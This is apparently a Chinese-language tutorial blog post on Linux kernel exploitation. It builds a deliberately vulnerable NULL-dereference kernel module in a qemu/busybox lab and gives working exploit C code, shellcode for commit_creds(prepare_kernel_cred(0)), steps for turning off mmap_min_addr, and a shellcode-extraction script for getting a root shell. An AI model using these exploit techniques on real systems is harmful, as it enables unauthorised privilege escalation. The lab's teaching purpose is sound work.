write linux kernel exploit 1
前言 -重新配置一下 busybox
之前的busybox 废了,发现出现了意料之外,情理之中的问题。还是太浮躁了,没仔细看参考链接。
重新配置一下 busybox
step 1
step 2 创建对应的目录
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| $ mkdir proc sys dev etc etc/init.d $ cd etc/init.d $ vim rcS $ cat rcS #!/bin/sh #!/bin/sh mount -t proc none /proc mount -t sys none /sys /bin/mount -n -t sysfs none /sys /bin/mount -t ramfs none /dev /sbin/mdev -s $ chmod +x rcS $ find . | cpio -o --format=newc > rootfs.img $ gzip -c rootfs.img > rootfs.img.gz $ cp rootfs.img.gz ../../linux-2.6.32.1
|
解决can’t not open /dev/tty2
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| $ cd _install $ ln -sf null tty2 $ ln -sf null tty3 $ ln -sf null tty4
$ vim etc/init.d/fstab proc /proc proc defaults 0 0 proc /proc proc defaults 0 0 $ chmod 644 fstab
$ vim etc/init.d/inittab ::sysinit:/etc/init.d/rcS ::askfirst:/bin/sh $ chmod 644 inittab
|
qume 启用busybox
cd /tmp
创建一个ext2文件系统镜像用于把joker_test_syscall_lib和对应的busybox打包,其大小应该能容纳整个busybox/_install
1 2
| $ dd if=/dev/zero of=my.img bs=30M count=2 $ mkfs.ext2 -N 512 my.img
|
挂在镜像,并把busybx/_install下的内容拷贝过去
1 2
| $ sudo mount -t ext2 my.img /mnt $ sudo cp -fr _install/* /mnt
|
卸载镜像
$ sudo umount /mnt
qemu-system-i386 -kernel arch/i386/boot/bzImage -hda /tmp/my.img -append "root=/dev/sda"
NULL dereference
古老的Linux NULL pointer dereference exploit,映射0地址分配shellcode运行
一个简单的demo
漏洞很明显,my_funptr指针是空,在调用虚拟文件系统write_proc时候出现null dereference
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| $ vim null_dereference.c #include <linux/init.h> #include <linux/module.h> #include <linux/kernel.h> #include <linux/proc_fs.h> void (*my_funptr)(void);
int bug1_write(struct file *file,const char *buf,unsigned long len) { my_funptr(); return len; }
static int __init null_dereference_init(void) { printk(KERN_ALERT "null_dereference driver init!\n"); create_proc_entry("bug1",0666,0)->write_proc = bug1_write; return 0; }
static void __exit null_dereference_exit(void) { printk(KERN_ALERT "null_dereference driver exit\n"); }
module_init(null_dereference_init); module_exit(null_dereference_exit);
|
简单的测试
1 2 3 4 5
| qemu启动内核,加载相关的busybox $ qemu-system-i386 -kernel arch/i386/boot/bzImage -hda /tmp/my.img -append "root=/dev/sda"
加载模块 $ insmod null_dereference.ko
|
在qemu中运行并测试
在本机编译相应的ko、poc和exp,并把ko、poc和exp添加到busybox镜像中,然后gdb与qemu结合调试,其中poc和exp需要静态编译。方法见–在qemu中测试
ko文件的Makefile, KERNELDR目录设置为linux内核源码的根目录即可
1 2 3 4 5 6 7 8 9
| obj-m := null_dereference.o KERNELDR := ~/linux_kernel/linux-2.6.32.1 PWD := $(shell pwd) modules: $(MAKE) -C $(KERNELDR) M=$(PWD) modules moduels_install: $(MAKE) -C $(KERNELDR) M=$(PWD) modules_install clean: rm -rf *.o *~ core .depend .*.cmd *.ko *.mod.c .tmp_versions
|
poc测试
poc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| $ vim null_dereference_exp.c #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <sys/mman.h> char payload[] = "\xe9\xea\xbe\xad\x0b"; int main() { mmap(0, 4096,PROT_READ | PROT_WRITE | PROT_EXEC, MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS ,-1, 0); memcpy(0, payload, sizeof(payload)); int fd = open("/proc/bug1", O_WRONLY); write(fd, "0x9k", 4); return 0; } $ gcc -static -o null_dereference_exp null_dereference_exp.c
|
qemu调试在0地址处下断点
1 2 3 4 5
| 以调试模式启动qemu $ qemu-system-i386 -S -kernel arch/i386/boot/bzImage -hda /tmp/my.img -append "root=/dev/sda"
在qemu中按住Ctrl+Alt+2 $ gdbserver tcp::1234
|
linux 内核目录下
1 2 3 4 5 6 7
| 在主机中启动gdb,并链接qemu并设置断点 $ gdb vmlinux gdb-peda$ target remote localhost:1234 gdb-peda$ b *0x0 gdb-peda$ c
在qemu中按住Ctrl+Alt+1切换到运行状态
|
然后进入usr目录,挂载驱动后运行poc程序。
exp
1 2
| 给当前进程赋予root权限 commit_creds(prepare_kernel_cred(0));
|
实现方法 1 通用获取
K0 师傅告诉我了一个姿势,可以通用提权
1 2 3 4 5 6 7 8 9
| typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred); typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred); _commit_creds commit_creds = (_commit_creds)COMMIT_CREDS; _prepare_kernel_cred prepare_kernel_cred = (_prepare_kernel_cred)PREPARE_KERNEL_CRED; void get_root_payload(void) { commit_creds(prepare_kernel_cred(0)); }
|
在内存里找到commit creds和prepare kernel cred 这两个函数地址然后就直接写在一个函数里到漏洞触发的时候,直接引用这个函数地址就可以提权了
但是,我们这里简单的使用方法 2 即可c
实现方法 2 简单的取得commit_creds、prepare_kernel_cred地址
1 2
| $ grep commit_creds /proc/kallsyms $ grep prepare_kernel_cred /proc/kallsyms
|
设置payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| 汇编对应的payload xor %eax,%eax call 0xc10680d0 call 0xc1067f30 ret
编译上述汇编 $ gcc -o payload payload.s -nostdlib -Ttext=0
得到payload的机器码 $ objdump -d payload payload: 文件格式 elf32-i386
Disassembly of section .text:
00000000 <__bss_start-0x100d>: 0: 31 c0 xor %eax,%eax 2: e8 c9 80 06 c1 call c10680d0 <_end+0xc10670c0> 7: e8 24 7f 06 c1 call c1067f30 <_end+0xc1066f20> c: c3 ret
payload机器码 $ \x31\xc0\xe8\xc9\x80\x06\xc1\xe8\x24\x7f\x06\xc1\xc3
|
最终的exp
我们需要分配0地址空间然后放入shellcode,然后jmp过去执行shellcode,使当前进程有root权限,然后执行一个system(“/bin/sh”);在程序返回用户态之后拿到一个root的shell。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| $ vim exp.c $ cat exp.c #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <sys/mman.h> char payload[] = "\x31\xc0\xe8\xc9\x80\x06\xc1\xe8\x24\x7f\x06\xc1\xc3"; int main() { mmap(0, 4096,PROT_READ | PROT_WRITE | PROT_EXEC, MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS ,-1, 0); memcpy(0, payload, sizeof(payload)); int fd = open("/proc/bug1", O_WRONLY); write(fd, "wing", 4); system("/bin/sh"); return 0; } $ gcc -static -o exp exp.c
|
测试exp
图中均是#不是$
,但是从gdb中可以看到payload已经执行,所以如果是普通用户的话,是可以拿到root shell,当然是在0地址可以mmap情况下。
mmap_min_addr禁止用户映射低地址。
qemu中添加普通用户并测试
使用adduser添加用户
read-only file system 解决办法
1 2 3
| # adduser wing adduser : /etc/group: No such file or directory adduser : /home/wing: No such file or directory
|
解决办法:touch对应的文件,并建立相关的目录
1 2 3 4 5 6
|
adduser : use 'wing' in use
|
切换成对应的普通用户并运行exp,运行过程中出现问题
分析原因(图exp-error-reason)发现是在mmap之后出错 都没走到0地址处,2.6.32内核已经使用mmap_min_addr作为缓解措施mmap_min_addr为4096,需要设置下mmap_min_addr
设置完成之后,重新运行exp即可得到root shell
引用
Joker‘ markdown
【系列分享】Linux 内核漏洞利用教程(二):两个Demo
Setup for linux kernel dev using qemu
linux_kernel_exploit
mmap_min_addr - Debian Wiki
用到的payload转换脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| __author__ = 'joker'
import re
payload = """ 0: 31 c0 xor %eax,%eax 2: e8 b9 7f 06 c1 call c1067fc0 <_end+0xc1066f94> 7: e8 14 7e 06 c1 call c1067e20 <_end+0xc1066df4> c: 81 ec 00 01 00 00 sub $0x100,%esp 12: 50 push %eax 13: 50 push %eax 14: 68 2f 73 68 00 push $0x68732f 19: 68 2f 62 69 6e push $0x6e69622f 1e: 89 e1 mov %esp,%ecx 20: 16 push %ss 21: 51 push %ecx 22: 9c pushf 23: 0e push %cs 24: 68 5c 71 44 c1 push $0xc144715c 29: cf iret"""
pattern = re.compile(" {2,}",re.S) payload_all = "" lines = payload.split("\n")[1:] for line in lines: text,_= pattern.subn("",line.split("\t")[1]) payload1 = "\\x" + text.replace(" ","\\x") payload_all += payload1
print payload_all
|